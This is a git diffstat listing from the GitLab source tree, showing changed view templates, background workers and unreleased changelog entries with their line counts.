-rw-r--r--app/views/groups/_import_group_pane.html.haml52
-rw-r--r--app/views/groups/_new_group_fields.html.haml16
-rw-r--r--app/views/groups/_subgroups_and_projects.html.haml2
-rw-r--r--app/views/groups/dependency_proxies/_url.html.haml2
-rw-r--r--app/views/groups/dependency_proxies/show.html.haml2
-rw-r--r--app/views/groups/edit.html.haml9
-rw-r--r--app/views/groups/group_members/index.html.haml53
-rw-r--r--app/views/groups/new.html.haml9
-rw-r--r--app/views/groups/registry/repositories/index.html.haml2
-rw-r--r--app/views/groups/show.html.haml3
-rw-r--r--app/views/import/_githubish_status.html.haml1
-rw-r--r--app/views/import/bulk_imports/status.html.haml13
-rw-r--r--app/views/import/github/status.html.haml4
-rw-r--r--app/views/import/google_code/new.html.haml63
-rw-r--r--app/views/import/google_code/new_user_map.html.haml37
-rw-r--r--app/views/import/google_code/status.html.haml78
-rw-r--r--app/views/import/manifest/_form.html.haml4
-rw-r--r--app/views/jira_connect/subscriptions/index.html.haml3
-rw-r--r--app/views/layouts/_google_analytics.html.haml2
-rw-r--r--app/views/layouts/_google_tag_manager_head.html.haml2
-rw-r--r--app/views/layouts/_head.html.haml2
-rw-r--r--app/views/layouts/_img_loader.html.haml2
-rw-r--r--app/views/layouts/_init_auto_complete.html.haml2
-rw-r--r--app/views/layouts/_init_client_detection_flags.html.haml2
-rw-r--r--app/views/layouts/_loading_hints.html.haml1
-rw-r--r--app/views/layouts/_matomo.html.haml15
-rw-r--r--app/views/layouts/_page.html.haml1
-rw-r--r--app/views/layouts/_piwik.html.haml15
-rw-r--r--app/views/layouts/_snowplow.html.haml2
-rw-r--r--app/views/layouts/_startup_css_activation.haml2
-rw-r--r--app/views/layouts/_startup_js.html.haml2
-rw-r--r--app/views/layouts/errors.html.haml2
-rw-r--r--app/views/layouts/group.html.haml2
-rw-r--r--app/views/layouts/header/_current_user_dropdown.html.haml2
-rw-r--r--app/views/layouts/header/_default.html.haml3
-rw-r--r--app/views/layouts/jira_connect.html.haml4
-rw-r--r--app/views/layouts/nav/_breadcrumbs.html.haml9
-rw-r--r--app/views/layouts/nav/groups_dropdown/_show.html.haml4
-rw-r--r--app/views/layouts/nav/projects_dropdown/_show.html.haml6
-rw-r--r--app/views/layouts/nav/sidebar/_analytics_links.html.haml2
-rw-r--r--app/views/layouts/nav/sidebar/_group.html.haml9
-rw-r--r--app/views/layouts/nav/sidebar/_project.html.haml7
-rw-r--r--app/views/layouts/project.html.haml2
-rw-r--r--app/views/layouts/snippets.html.haml2
-rw-r--r--app/views/notify/issue_cloned_email.html.haml7
-rw-r--r--app/views/notify/issue_cloned_email.text.erb8
-rw-r--r--app/views/notify/new_release_email.html.haml2
-rw-r--r--app/views/notify/user_admin_rejection_email.html.haml5
-rw-r--r--app/views/notify/user_admin_rejection_email.text.erb6
-rw-r--r--app/views/profiles/accounts/show.html.haml13
-rw-r--r--app/views/profiles/keys/_form.html.haml2
-rw-r--r--app/views/profiles/notifications/_group_settings.html.haml2
-rw-r--r--app/views/profiles/notifications/show.html.haml12
-rw-r--r--app/views/profiles/personal_access_tokens/index.html.haml33
-rw-r--r--app/views/profiles/preferences/show.html.haml13
-rw-r--r--app/views/profiles/two_factor_auths/_codes.html.haml27
-rw-r--r--app/views/profiles/two_factor_auths/codes.html.haml4
-rw-r--r--app/views/profiles/two_factor_auths/create.html.haml8
-rw-r--r--app/views/projects/_archived_notice.html.haml2
-rw-r--r--app/views/projects/_commit_button.html.haml4
-rw-r--r--app/views/projects/_customize_workflow.html.haml2
-rw-r--r--app/views/projects/_files.html.haml7
-rw-r--r--app/views/projects/_fork_suggestion.html.haml4
-rw-r--r--app/views/projects/_home_panel.html.haml4
-rw-r--r--app/views/projects/_import_project_pane.html.haml56
-rw-r--r--app/views/projects/_invite_members.html.haml8
-rw-r--r--app/views/projects/_project_templates.html.haml10
-rw-r--r--app/views/projects/_service_desk_settings.html.haml1
-rw-r--r--app/views/projects/blob/_content.html.haml4
-rw-r--r--app/views/projects/blob/_viewer_switcher.html.haml2
-rw-r--r--app/views/projects/blob/edit.html.haml5
-rw-r--r--app/views/projects/blob/new.html.haml5
-rw-r--r--app/views/projects/blob/viewers/_metrics_dashboard_yml_loading.html.haml2
-rw-r--r--app/views/projects/buttons/_clone.html.haml6
-rw-r--r--app/views/projects/ci/builds/_build.html.haml2
-rw-r--r--app/views/projects/ci/pipeline_editor/show.html.haml2
-rw-r--r--app/views/projects/commit/_commit_box.html.haml2
-rw-r--r--app/views/projects/commit/_verified_signature_badge.html.haml2
-rw-r--r--app/views/projects/commit/x509/_unverified_signature_badge.html.haml2
-rw-r--r--app/views/projects/commits/_commits.html.haml8
-rw-r--r--app/views/projects/commits/show.html.haml2
-rw-r--r--app/views/projects/compare/_form.html.haml2
-rw-r--r--app/views/projects/cycle_analytics/show.html.haml9
-rw-r--r--app/views/projects/deployments/_actions.haml2
-rw-r--r--app/views/projects/deployments/_commit.html.haml2
-rw-r--r--app/views/projects/diffs/_file_header.html.haml4
-rw-r--r--app/views/projects/diffs/_replaced_image_diff.html.haml10
-rw-r--r--app/views/projects/diffs/_stats.html.haml2
-rw-r--r--app/views/projects/edit.html.haml2
-rw-r--r--app/views/projects/empty.html.haml5
-rw-r--r--app/views/projects/forks/index.html.haml2
-rw-r--r--app/views/projects/graphs/charts.html.haml2
-rw-r--r--app/views/projects/graphs/show.html.haml2
-rw-r--r--app/views/projects/issuable/_show.html.haml1
-rw-r--r--app/views/projects/issues/_discussion.html.haml5
-rw-r--r--app/views/projects/issues/_issue.html.haml111
-rw-r--r--app/views/projects/issues/_new_branch.html.haml4
-rw-r--r--app/views/projects/jobs/_table.html.haml16
-rw-r--r--app/views/projects/jobs/index.html.haml4
-rw-r--r--app/views/projects/merge_requests/_close_reopen_draft_report_toggle.html.haml37
-rw-r--r--app/views/projects/merge_requests/_how_to_merge.html.haml56
-rw-r--r--app/views/projects/merge_requests/_merge_request.html.haml4
-rw-r--r--app/views/projects/merge_requests/_mr_title.html.haml23
-rw-r--r--app/views/projects/merge_requests/_widget.html.haml2
-rw-r--r--app/views/projects/merge_requests/conflicts/_commit_stats.html.haml15
-rw-r--r--app/views/projects/merge_requests/conflicts/_file_actions.html.haml16
-rw-r--r--app/views/projects/merge_requests/conflicts/_submit_form.html.haml2
-rw-r--r--app/views/projects/merge_requests/conflicts/show.html.haml7
-rw-r--r--app/views/projects/merge_requests/show.html.haml5
-rw-r--r--app/views/projects/merge_requests/widget/open/_error.html.haml2
-rw-r--r--app/views/projects/network/show.html.haml2
-rw-r--r--app/views/projects/new.html.haml5
-rw-r--r--app/views/projects/no_repo.html.haml4
-rw-r--r--app/views/projects/pipelines/_with_tabs.html.haml2
-rw-r--r--app/views/projects/pipelines/charts.html.haml13
-rw-r--r--app/views/projects/pipelines/index.html.haml2
-rw-r--r--app/views/projects/pipelines/new.html.haml4
-rw-r--r--app/views/projects/pipelines/show.html.haml2
-rw-r--r--app/views/projects/registry/repositories/index.html.haml3
-rw-r--r--app/views/projects/registry/settings/_index.haml3
-rw-r--r--app/views/projects/runners/_shared_runners.html.haml28
-rw-r--r--app/views/projects/services/mattermost_slash_commands/_detailed_help.html.haml2
-rw-r--r--app/views/projects/services/slack_slash_commands/_help.html.haml2
-rw-r--r--app/views/projects/settings/ci_cd/show.html.haml4
-rw-r--r--app/views/projects/settings/operations/show.html.haml2
-rw-r--r--app/views/projects/show.html.haml2
-rw-r--r--app/views/projects/tags/_tag.html.haml3
-rw-r--r--app/views/projects/tags/index.html.haml2
-rw-r--r--app/views/projects/tags/new.html.haml2
-rw-r--r--app/views/projects/terraform/index.html.haml4
-rw-r--r--app/views/projects/tree/_truncated_notice_tree_row.html.haml2
-rw-r--r--app/views/projects/wikis/git_access.html.haml37
-rw-r--r--app/views/registrations/experience_levels/show.html.haml8
-rw-r--r--app/views/registrations/welcome/show.html.haml14
-rw-r--r--app/views/search/_filter.html.haml18
-rw-r--r--app/views/search/_form.html.haml8
-rw-r--r--app/views/search/_results.html.haml31
-rw-r--r--app/views/search/_results_status.html.haml25
-rw-r--r--app/views/search/_sort_dropdown.html.haml4
-rw-r--r--app/views/shared/_alert_info.html.haml6
-rw-r--r--app/views/shared/_choose_avatar_button.html.haml2
-rw-r--r--app/views/shared/_clone_panel.html.haml16
-rw-r--r--app/views/shared/_file_picker_button.html.haml4
-rw-r--r--app/views/shared/_group_form.html.haml8
-rw-r--r--app/views/shared/_group_form_description.html.haml5
-rw-r--r--app/views/shared/_issues.html.haml5
-rw-r--r--app/views/shared/_md_preview.html.haml2
-rw-r--r--app/views/shared/_merge_requests.html.haml5
-rw-r--r--app/views/shared/_milestones_sort_dropdown.html.haml2
-rw-r--r--app/views/shared/_no_password.html.haml2
-rw-r--r--app/views/shared/_no_ssh.html.haml2
-rw-r--r--app/views/shared/_service_settings.html.haml4
-rw-r--r--app/views/shared/_web_ide_button.html.haml4
-rw-r--r--app/views/shared/access_tokens/_table.html.haml2
-rw-r--r--app/views/shared/boards/_show.html.haml24
-rw-r--r--app/views/shared/deploy_tokens/_table.html.haml2
-rw-r--r--app/views/shared/groups/_dropdown.html.haml13
-rw-r--r--app/views/shared/groups/_visibility_level.html.haml3
-rw-r--r--app/views/shared/icons/_icon_mattermost.svg2
-rw-r--r--app/views/shared/integrations/_index.html.haml7
-rw-r--r--app/views/shared/issuable/_bulk_update_sidebar.html.haml2
-rw-r--r--app/views/shared/issuable/_close_reopen_button.html.haml26
-rw-r--r--app/views/shared/issuable/_close_reopen_draft_report_toggle.html.haml37
-rw-r--r--app/views/shared/issuable/_close_reopen_report_toggle.html.haml47
-rw-r--r--app/views/shared/issuable/_form.html.haml5
-rw-r--r--app/views/shared/issuable/_search_bar.html.haml18
-rw-r--r--app/views/shared/issuable/_sidebar.html.haml4
-rw-r--r--app/views/shared/issuable/form/_branch_chooser.html.haml2
-rw-r--r--app/views/shared/issuable/form/_merge_params.html.haml2
-rw-r--r--app/views/shared/issuable/form/_metadata.html.haml3
-rw-r--r--app/views/shared/issuable/form/_metadata_issuable_assignee.html.haml2
-rw-r--r--app/views/shared/issuable/form/_metadata_issuable_reviewer.html.haml8
-rw-r--r--app/views/shared/issuable/form/_type_selector.html.haml2
-rw-r--r--app/views/shared/issue_type/_details_header.html.haml40
-rw-r--r--app/views/shared/labels/_sort_dropdown.html.haml2
-rw-r--r--app/views/shared/members/_group.html.haml2
-rw-r--r--app/views/shared/members/_member.html.haml2
-rw-r--r--app/views/shared/milestones/_header.html.haml2
-rw-r--r--app/views/shared/milestones/_milestone.html.haml2
-rw-r--r--app/views/shared/notes/_comment_button.html.haml6
-rw-r--r--app/views/shared/notes/_edit_form.html.haml4
-rw-r--r--app/views/shared/notes/_form.html.haml2
-rw-r--r--app/views/shared/notifications/_button.html.haml6
-rw-r--r--app/views/shared/projects/_sort_dropdown.html.haml2
-rw-r--r--app/views/shared/projects/protected_branches/_update_protected_branch.html.haml4
-rw-r--r--app/views/shared/web_hooks/_form.html.haml58
-rw-r--r--app/views/shared/web_hooks/_test_button.html.haml2
-rw-r--r--app/views/shared/wikis/_form.html.haml2
-rw-r--r--app/views/shared/wikis/_sidebar.html.haml14
-rw-r--r--app/views/shared/wikis/git_access.html.haml37
-rw-r--r--app/views/shared/wikis/git_error.html.haml14
-rw-r--r--app/views/users/_overview.html.haml2
-rw-r--r--app/views/users/show.html.haml8
-rw-r--r--app/workers/all_queues.yml146
-rw-r--r--app/workers/analytics/instance_statistics/count_job_trigger_worker.rb2
-rw-r--r--app/workers/analytics/instance_statistics/counter_job_worker.rb2
-rw-r--r--app/workers/approve_blocked_pending_approval_users_worker.rb17
-rw-r--r--app/workers/build_finished_worker.rb5
-rw-r--r--app/workers/ci/test_failure_history_worker.rb16
-rw-r--r--app/workers/clusters/applications/check_prometheus_health_worker.rb2
-rw-r--r--app/workers/concerns/gitlab/github_import/object_importer.rb39
-rw-r--r--app/workers/concerns/gitlab/github_import/rescheduling_methods.rb2
-rw-r--r--app/workers/concerns/gitlab/github_import/stage_methods.rb39
-rw-r--r--app/workers/concerns/limited_capacity/worker.rb2
-rw-r--r--app/workers/concerns/reenqueuer.rb7
-rw-r--r--app/workers/concerns/worker_context.rb4
-rw-r--r--app/workers/create_evidence_worker.rb20
-rw-r--r--app/workers/create_note_diff_file_worker.rb2
-rw-r--r--app/workers/delete_diff_files_worker.rb2
-rw-r--r--app/workers/environments/canary_ingress/update_worker.rb22
-rw-r--r--app/workers/gitlab/github_import/advance_stage_worker.rb2
-rw-r--r--app/workers/gitlab/github_import/import_pull_request_merged_by_worker.rb25
-rw-r--r--app/workers/gitlab/github_import/import_pull_request_review_worker.rb25
-rw-r--r--app/workers/gitlab/github_import/import_pull_request_worker.rb2
-rw-r--r--app/workers/gitlab/github_import/stage/finish_import_worker.rb9
-rw-r--r--app/workers/gitlab/github_import/stage/import_base_data_worker.rb1
-rw-r--r--app/workers/gitlab/github_import/stage/import_issues_and_diff_notes_worker.rb1
-rw-r--r--app/workers/gitlab/github_import/stage/import_lfs_objects_worker.rb2
-rw-r--r--app/workers/gitlab/github_import/stage/import_notes_worker.rb1
-rw-r--r--app/workers/gitlab/github_import/stage/import_pull_requests_merged_by_worker.rb29
-rw-r--r--app/workers/gitlab/github_import/stage/import_pull_requests_reviews_worker.rb36
-rw-r--r--app/workers/gitlab/github_import/stage/import_pull_requests_worker.rb3
-rw-r--r--app/workers/gitlab/github_import/stage/import_repository_worker.rb1
-rw-r--r--app/workers/gitlab_performance_bar_stats_worker.rb34
-rw-r--r--app/workers/gitlab_usage_ping_worker.rb4
-rw-r--r--app/workers/import_issues_csv_worker.rb13
-rw-r--r--app/workers/jira_connect/sync_branch_worker.rb1
-rw-r--r--app/workers/jira_connect/sync_builds_worker.rb24
-rw-r--r--app/workers/jira_connect/sync_merge_request_worker.rb2
-rw-r--r--app/workers/member_invitation_reminder_emails_worker.rb2
-rw-r--r--app/workers/merge_request_cleanup_refs_worker.rb2
-rw-r--r--app/workers/merge_request_mergeability_check_worker.rb2
-rw-r--r--app/workers/migrate_external_diffs_worker.rb2
-rw-r--r--app/workers/namespaces/onboarding_user_added_worker.rb17
-rw-r--r--app/workers/new_merge_request_worker.rb2
-rw-r--r--app/workers/project_cache_worker.rb3
-rw-r--r--app/workers/project_schedule_bulk_repository_shard_moves_worker.rb13
-rw-r--r--app/workers/purge_dependency_proxy_cache_worker.rb1
-rw-r--r--app/workers/releases/create_evidence_worker.rb23
-rw-r--r--app/workers/releases/manage_evidence_worker.rb24
-rw-r--r--app/workers/repository_import_worker.rb2
-rw-r--r--app/workers/repository_update_remote_mirror_worker.rb3
-rw-r--r--app/workers/schedule_merge_request_cleanup_refs_worker.rb2
-rw-r--r--app/workers/schedule_migrate_external_diffs_worker.rb2
-rw-r--r--app/workers/stuck_merge_jobs_worker.rb2
-rw-r--r--app/workers/trending_projects_worker.rb4
-rw-r--r--app/workers/update_merge_requests_worker.rb2
-rw-r--r--changelogs/unreleased/-231201-projects-graphs.yml5
-rw-r--r--changelogs/unreleased/10io-fix-www-authenticate-header-in-packages-basic-auth-helpers.yml5
-rw-r--r--changelogs/unreleased/10io-graphql-mutation-delete-container-tags.yml5
-rw-r--r--changelogs/unreleased/205578-adds-guest-pkg-events-to-usage-data.yml5
-rw-r--r--changelogs/unreleased/205578-trigger-pkg-guest-events.yml5
-rw-r--r--changelogs/unreleased/207869-fix-wiki-clone-panel.yml5
-rw-r--r--changelogs/unreleased/207869-group-wikis-git-support.yml5
-rw-r--r--changelogs/unreleased/210345-update-index-adding-api-fuzzing.yml5
-rw-r--r--changelogs/unreleased/212320-move-canary-ingress-to-core.yml5
-rw-r--r--changelogs/unreleased/214044-add-empty-state-no-commit-result.yml5
-rw-r--r--changelogs/unreleased/216795-add-visibility-and-last-published-information-to-the-image-reposit.yml5
-rw-r--r--changelogs/unreleased/216795-show-last-update-and-visibility.yml5
-rw-r--r--changelogs/unreleased/219049-remove-google-importer.yml5
-rw-r--r--changelogs/unreleased/219241-refine-group-creation-form.yml5
-rw-r--r--changelogs/unreleased/219852-deprecated-button.yml5
-rw-r--r--changelogs/unreleased/220433-user-stuck-in-2fa-setup-page-even-if-group-disable-2fa-enforce-mig.yml5
-rw-r--r--changelogs/unreleased/222885-update-design-of-the-container-registry-cleanup-policy-for-tags.yml5
-rw-r--r--changelogs/unreleased/224509-chevron-down-svg-runner-epic.yml5
-rw-r--r--changelogs/unreleased/224509-chevron-down-svg-search-wiki.yml5
-rw-r--r--changelogs/unreleased/224509-replace-fa-chevron-down-with-gitlab-svg-chevron-down-icon.yml5
-rw-r--r--changelogs/unreleased/224698-fj-add-operations-access-level-to-api-project-settings.yml5
-rw-r--r--changelogs/unreleased/224698-fj-add-operations-setting.yml5
-rw-r--r--changelogs/unreleased/224700_add_toggle_to_remove_analytics_item.yml5
-rw-r--r--changelogs/unreleased/225275-add-glcheckbox-to-squah-commits.yml5
-rw-r--r--changelogs/unreleased/225281-add-external_author-alias-for-service_desk_reply_to.yml5
-rw-r--r--changelogs/unreleased/225446-fix-misalignment-author-dropdown.yml5
-rw-r--r--changelogs/unreleased/225957-convert-to-svg-caret-down-comments.yml5
-rw-r--r--changelogs/unreleased/225957-convert-to-svg-caret-down-projects.yml5
-rw-r--r--changelogs/unreleased/226991-annotate-external-issue-authorship.yml5
-rw-r--r--changelogs/unreleased/227765_add_index_vulnerabilities_on_project_id_and_severity.yml6
-rw-r--r--changelogs/unreleased/228675-separate-filtering-users-from-sorting-users-support-multiple-filte.yml5
-rw-r--r--changelogs/unreleased/229310-migrate-bootstrap-button.yml5
-rw-r--r--changelogs/unreleased/229677-merge-modal.yml5
-rw-r--r--changelogs/unreleased/229677-mr-conflicts.yml5
-rw-r--r--changelogs/unreleased/229677-mr-widget-conflicts-warning.yml5
-rw-r--r--changelogs/unreleased/229848-feature-flag-enable-option-to-display-one-file-at-a-time-in-mrs.yml5
-rw-r--r--changelogs/unreleased/229918-fix-some-issue-events.yml5
-rw-r--r--changelogs/unreleased/231179-projects-buttons.yml5
-rw-r--r--changelogs/unreleased/231189-manifest-dir-buttons.yml5
-rw-r--r--changelogs/unreleased/231207-convert-compare-button-to-gl.yml5
-rw-r--r--changelogs/unreleased/231210-migrate-haml-buttons.yml5
-rw-r--r--changelogs/unreleased/232670-steal-webauthn-background-migration.yml5
-rw-r--r--changelogs/unreleased/233648-replace-bootstrap-alerts-in-app-views-admin-runners-show-html-haml.yml5
-rw-r--r--changelogs/unreleased/233675-replace-bootstrap-alerts-in-app-views-profiles-notifications-show-.yml5
-rw-r--r--changelogs/unreleased/233699-replace-bootstrap-alerts-in-ee-app-views-admin-licenses-new-html-h.yml5
-rw-r--r--changelogs/unreleased/233994_add_increment_counter_js_tracking.yml5
-rw-r--r--changelogs/unreleased/233994_extend_usage_ping_api.yml5
-rw-r--r--changelogs/unreleased/233994_send_usage_data_events.yml5
-rw-r--r--changelogs/unreleased/234002-conan-create-build-info.yml5
-rw-r--r--changelogs/unreleased/234013-add-experiment-record-context.yml5
-rw-r--r--changelogs/unreleased/235994-incident-metrics-upload.yml5
-rw-r--r--changelogs/unreleased/237891-improve-ci-for-external-repo-with-configurable-maximum-mirroring-f.yml6
-rw-r--r--changelogs/unreleased/239177_add_checksum_into_vulnerability_remediations.yml5
-rw-r--r--changelogs/unreleased/239177_introduce_remediation_entity.yml6
-rw-r--r--changelogs/unreleased/239177_scope_remediations_to_projects.yml6
-rw-r--r--changelogs/unreleased/239518-always-display-build-info-for-packages-in-the-ui.yml5
-rw-r--r--changelogs/unreleased/239518-package-details-not-updating-when-the-same-version-is-deployed-fro.yml5
-rw-r--r--changelogs/unreleased/239518_add_build_info_to_all_packages.yml6
-rw-r--r--changelogs/unreleased/241158-remove-feature-flag-save_raw_usage_data.yml5
-rw-r--r--changelogs/unreleased/241267-add-partitioned-audit-events-indexes.yml5
-rw-r--r--changelogs/unreleased/241639-delete-manifest-api.yml5
-rw-r--r--changelogs/unreleased/241639-dependency-proxy-manifests.yml6
-rw-r--r--changelogs/unreleased/241639-manifest-caching-models.yml5
-rw-r--r--changelogs/unreleased/241744-support-kroki.yml5
-rw-r--r--changelogs/unreleased/242022-bscallout-to-glalert-applications.yml5
-rw-r--r--changelogs/unreleased/242023-knative-alert.yml5
-rw-r--r--changelogs/unreleased/242026-gl-alert-pipeline-ide.yml5
-rw-r--r--changelogs/unreleased/242028-migrate-bs-callout-to-glalert-in-app-assets-javascripts-jobs-compo.yml5
-rw-r--r--changelogs/unreleased/242029-migrate-to-glalert-for-callout.yml5
-rw-r--r--changelogs/unreleased/242034-runner-limit.yml5
-rw-r--r--changelogs/unreleased/244273-boards-migrate-createboard-board_store-function-to-vuex-action.yml5
-rw-r--r--changelogs/unreleased/244380_repopulate_historical_vulnerability_statistics.yml5
-rw-r--r--changelogs/unreleased/246857-fix-issuable-import-csv-service.yml5
-rw-r--r--changelogs/unreleased/247130-gather-devops-segment-snapshots-info.yml5
-rw-r--r--changelogs/unreleased/247476-remove-angle-brackets-in-no-scopes.yml5
-rw-r--r--changelogs/unreleased/249713-empty-results-status-fix.yml5
-rw-r--r--changelogs/unreleased/250479-iteration-lists-creation.yml5
-rw-r--r--changelogs/unreleased/250800-create-new-experimentsubject-model-with-user_id-namespace_id-or-pr.yml5
-rw-r--r--changelogs/unreleased/250859-mr-suggestion-retain-spinner.yml5
-rw-r--r--changelogs/unreleased/251015-artifact-download.yml5
-rw-r--r--changelogs/unreleased/254979-double-border-split-button.yml5
-rw-r--r--changelogs/unreleased/255103-blob-switcher-active.yml5
-rw-r--r--changelogs/unreleased/255170-eng-use-text-field-to-capture-further-details-of-other-role-type-d.yml5
-rw-r--r--changelogs/unreleased/255171-dropdown-alerts-replacement.yml5
-rw-r--r--changelogs/unreleased/255502-http-integrations-list-ff-removal.yml5
-rw-r--r--changelogs/unreleased/255923-transfer-project-group-with-integrations.yml5
-rw-r--r--changelogs/unreleased/255979-add-converted_at-timestamp-column-to-the-experiment_users-table.yml6
-rw-r--r--changelogs/unreleased/257888-Improve-Runner-Breadcrumb-in-Admin-Section.yml5
-rw-r--r--changelogs/unreleased/258810-2-itteration-be.yml5
-rw-r--r--changelogs/unreleased/259665-project-access-tokens-not-working-when-fetching-updates-for-a-prev.yml5
-rw-r--r--changelogs/unreleased/260439-remove-boards-upsell-list.yml5
-rw-r--r--changelogs/unreleased/262112_populate_remaining_dismissal_information.yml5
-rw-r--r--changelogs/unreleased/262168-pagination-of-bitbucket-server-importer-ignores-first-25-repositor.yml5
-rw-r--r--changelogs/unreleased/262395-devops-adoption-mutations.yml5
-rw-r--r--changelogs/unreleased/262847-create-on-call-schedules.yml5
-rw-r--r--changelogs/unreleased/262857-creation-rotation-table-models.yml5
-rw-r--r--changelogs/unreleased/263107-user-admin-approval-approve-user-via-api.yml5
-rw-r--r--changelogs/unreleased/263276-enable-new_pipeline_form_prefilled_vars.yml5
-rw-r--r--changelogs/unreleased/263371-transition-id-section-should-include-help-text.yml5
-rw-r--r--changelogs/unreleased/263497-add-details-column-to-vulnerability-findings.yml5
-rw-r--r--changelogs/unreleased/263497-add-validating-json-schema-draft-7.yml5
-rw-r--r--changelogs/unreleased/26552-sort-compare-commit.yml5
-rw-r--r--changelogs/unreleased/26552-sort-diff-files.yml5
-rw-r--r--changelogs/unreleased/267118-add-modal-to-unblock.yml5
-rw-r--r--changelogs/unreleased/267118-add-reactivate-user-admin-approval-modal-to-glmodal.yml5
-rw-r--r--changelogs/unreleased/267514-trailing-newline.yml5
-rw-r--r--changelogs/unreleased/267751-fix-stretched-flash-project-commit-show-page.yml5
-rw-r--r--changelogs/unreleased/267993-enable-by-default-true-in-api-helper-usage_data_-event-feature.yml5
-rw-r--r--changelogs/unreleased/268040-fj-avoid-initializing-wiki-in-import-when-not-present.yml5
-rw-r--r--changelogs/unreleased/268282-remove-feature-flag.yml5
-rw-r--r--changelogs/unreleased/270090-add-pk-to-elasticsearch-indexed-namespaces.yml5
-rw-r--r--changelogs/unreleased/270090-add-pk-to-elasticsearch-indexed-projects.yml5
-rw-r--r--changelogs/unreleased/270093-add-primary-key-to-mrcc-diff-files.yml5
-rw-r--r--changelogs/unreleased/270409-experiment-cleanup-drop-feature-filter-type-column.yml5
-rw-r--r--changelogs/unreleased/270583-improve-efficiency-when-creating-additional-boards-within-a-group-.yml5
-rw-r--r--changelogs/unreleased/271538-remove-vsa-usage-ping.yml5
-rw-r--r--changelogs/unreleased/272983-fix-security-mr-widget-forks.yml5
-rw-r--r--changelogs/unreleased/273011-setting.yml5
-rw-r--r--changelogs/unreleased/273098-regulated-compliance-labels.yml5
-rw-r--r--changelogs/unreleased/273168-admin-alert-500-dor.yml5
-rw-r--r--changelogs/unreleased/273270-save-button-should-have-a-different-color-on-press.yml5
-rw-r--r--changelogs/unreleased/273411-fj-fix-transient-error-in-branch-checking.yml5
-rw-r--r--changelogs/unreleased/273418-enable-security-report-downloads.yml5
-rw-r--r--changelogs/unreleased/273425-security-mr-widget-upgrade-popover.yml5
-rw-r--r--changelogs/unreleased/273470-create-csv-exports-table.yml5
-rw-r--r--changelogs/unreleased/273580-when-selecting-issue-type-and-closing-the-dropdown-the-issue-gets-.yml6
-rw-r--r--changelogs/unreleased/273592-add-state-version.yml5
-rw-r--r--changelogs/unreleased/273592-download-action.yml5
-rw-r--r--changelogs/unreleased/273592-terraform-actions.yml5
-rw-r--r--changelogs/unreleased/273592-terraform-delete.yml5
-rw-r--r--changelogs/unreleased/273734-enable-ci_bridge_dependency_variables.yml5
-rw-r--r--changelogs/unreleased/273751-fj-structured-data-for-groups.yml5
-rw-r--r--changelogs/unreleased/273777-fix-css-not-loading-on-jira-connect-app.yml5
-rw-r--r--changelogs/unreleased/275962-update-users-rake.yml5
-rw-r--r--changelogs/unreleased/275997-enable-ci_auto_cancel_all_pipelines.yml5
-rw-r--r--changelogs/unreleased/276417-replace-fa-exclamation-triangle-icons-with-gitlab-svg-warning-soli.yml5
-rw-r--r--changelogs/unreleased/276432-refactor-container-registry-frontend-to-graphql-2.yml5
-rw-r--r--changelogs/unreleased/276432-refactor-container-registry-frontend-to-graphql.yml5
-rw-r--r--changelogs/unreleased/276432-remove-vuex.yml5
-rw-r--r--changelogs/unreleased/276479-add-expiration_policy_completed_at-to-container-repositories.yml5
-rw-r--r--changelogs/unreleased/276491-follow-up-from-add-userdiscussionscount-to-issues-and-merge-reques.yml5
-rw-r--r--changelogs/unreleased/276777-dep-proxy-feature-flag-removal.yml5
-rw-r--r--changelogs/unreleased/276897-add-external-issue-links.yml5
-rw-r--r--changelogs/unreleased/276943-add-non-system-index-to-notes.yml5
-rw-r--r--changelogs/unreleased/276949-graphql-be-fix.yml5
-rw-r--r--changelogs/unreleased/276949-pipeline-number-bugfix.yml5
-rw-r--r--changelogs/unreleased/277083-save-formatting-changes-in-separate-commit.yml5
-rw-r--r--changelogs/unreleased/277130-add-a-new-column-called-finding_uuid-into-the-vulnerability_feedba.yml5
-rw-r--r--changelogs/unreleased/277160-add-a-generic-packages-tab-to-the-packages-ui.yml5
-rw-r--r--changelogs/unreleased/280512-paginate-test-report.yml5
-rw-r--r--changelogs/unreleased/280582-dependency-proxy-env-vars.yml5
-rw-r--r--changelogs/unreleased/280589-set-vulnerabilities-as-dismissed-when-they-have-dismissed-feedback.yml5
-rw-r--r--changelogs/unreleased/280596-user-admin-approval-reject-user.yml5
-rw-r--r--changelogs/unreleased/281023-fix-darkmode-searc.yml5
-rw-r--r--changelogs/unreleased/281026-set-live-preview-bg-white.yml5
-rw-r--r--changelogs/unreleased/281039-sidebar-wdith-on-large-screens.yml5
-rw-r--r--changelogs/unreleased/281178-pages-serve-from-deployments-configuration.yml5
-rw-r--r--changelogs/unreleased/281449-feature-flag-enable-environment-auto-stop-start-on-create.yml5
-rw-r--r--changelogs/unreleased/281586_monorepo_nodejsscan.yml5
-rw-r--r--changelogs/unreleased/281727-feature-ci_job_line_links-default-true.yml5
-rw-r--r--changelogs/unreleased/281950-cleanup-count_uploads_size_in_storage_stats.yml5
-rw-r--r--changelogs/unreleased/281953-fix-file-header-line-height.yml5
-rw-r--r--changelogs/unreleased/282441-schedule-createevidenceworker-jobs-in-a-sliding-window.yml5
-rw-r--r--changelogs/unreleased/282506-mark-as-draft.yml5
-rw-r--r--changelogs/unreleased/282520-follow-up-enable-and-disable-merge-train-checkbox-based-on-pipelin.yml5
-rw-r--r--changelogs/unreleased/283938-add-web_hooks-service-foreign-key.yml5
-rw-r--r--changelogs/unreleased/283938-cleanup-web_hooks-service-foreign-key.yml5
-rw-r--r--changelogs/unreleased/283938_cascade_delete_inheriting_services.yml5
-rw-r--r--changelogs/unreleased/283941-remove-an-extra-details-on-project-top-page.yml5
-rw-r--r--changelogs/unreleased/283947-fj-track-sse-edit-in-api.yml5
-rw-r--r--changelogs/unreleased/284008-remove-the-breadcrumb-on-subgroup-top-page.yml5
-rw-r--r--changelogs/unreleased/284070-issue-list-dropdown-not-shown-in-boards-add-issue-modal.yml5
-rw-r--r--changelogs/unreleased/284138-bump-workhorse-version.yml5
-rw-r--r--changelogs/unreleased/284588-prefix-sourcegraph-url-with-version.yml5
-rw-r--r--changelogs/unreleased/284597-remove-bootstrap-4-s-cards-components-from-dashboard-todos.yml5
-rw-r--r--changelogs/unreleased/284601-clear-emoji-status-in-issue-and-mr-header.yml5
-rw-r--r--changelogs/unreleased/284602-remove-issue-box-css.yml5
-rw-r--r--changelogs/unreleased/284602-remove-issue-box-static.yml5
-rw-r--r--changelogs/unreleased/284930-fix-entry-not-found-change-file-content.yml5
-rw-r--r--changelogs/unreleased/285096-replace-fa-chevron-down-icons-in-clusters-gcp-form.yml5
